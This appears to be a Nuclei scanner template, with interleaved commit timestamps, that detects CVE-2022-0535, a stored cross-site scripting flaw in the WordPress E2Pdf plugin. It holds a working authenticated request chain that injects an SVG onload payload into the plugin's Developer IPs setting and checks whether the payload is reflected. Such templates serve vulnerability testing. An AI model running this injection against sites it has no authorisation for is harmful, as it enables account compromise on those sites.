2022-10-07 15:08:33 +00:00
id : CVE-2022-0535
info :
2022-10-19 21:11:27 +00:00
name : WordPress E2Pdf <1.16.45 - Cross-Site Scripting
2022-10-07 15:08:33 +00:00
author : theamanrawat
severity : medium
description : |
2022-10-19 21:11:27 +00:00
WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 11:59:08 +00:00
remediation : |
Update the WordPress E2Pdf plugin to version 1.16.45 or later to mitigate the vulnerability.
2022-10-07 15:08:33 +00:00
reference :
- https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985
- https://wordpress.org/plugins/e2pdf/
- https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf
2022-10-12 08:53:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0535
2023-07-11 19:49:27 +00:00
- https://plugins.trac.wordpress.org/changeset/2675049/e2pdf
2022-10-07 15:08:33 +00:00
classification :
2022-10-14 10:57:21 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score : 4.8
2022-10-07 15:08:33 +00:00
cve-id : CVE-2022-0535
2022-10-14 10:57:21 +00:00
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00112
2023-08-31 11:46:18 +00:00
epss-percentile : 0.43647
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:wordpress:*:*
2022-10-07 15:08:33 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : e2pdf
product : e2pdf
2023-09-06 11:59:08 +00:00
framework : wordpress
2022-10-14 10:57:21 +00:00
tags : cve2022,wp-plugin,xss,authenticated,e2pdf,wpscan,cve,wordpress,wp
2022-10-07 15:08:33 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-07 15:08:33 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
- |
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
Host : {{Hostname}}
2022-10-12 07:57:38 +00:00
2022-10-07 15:08:33 +00:00
cookie-reuse : true
2023-07-11 19:49:27 +00:00
req-condition : true
2022-10-12 07:57:38 +00:00
matchers-condition : and
2022-10-07 15:08:33 +00:00
matchers :
- type : dsl
dsl :
2022-10-14 10:02:20 +00:00
- contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>')
2023-06-19 21:10:30 +00:00
- contains(header_4, "text/html")
2022-10-07 15:08:33 +00:00
- status_code_4 == 200
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
- 'name="_nonce" value="([0-9a-zA-Z]+)"'
2023-07-11 19:49:27 +00:00
internal : true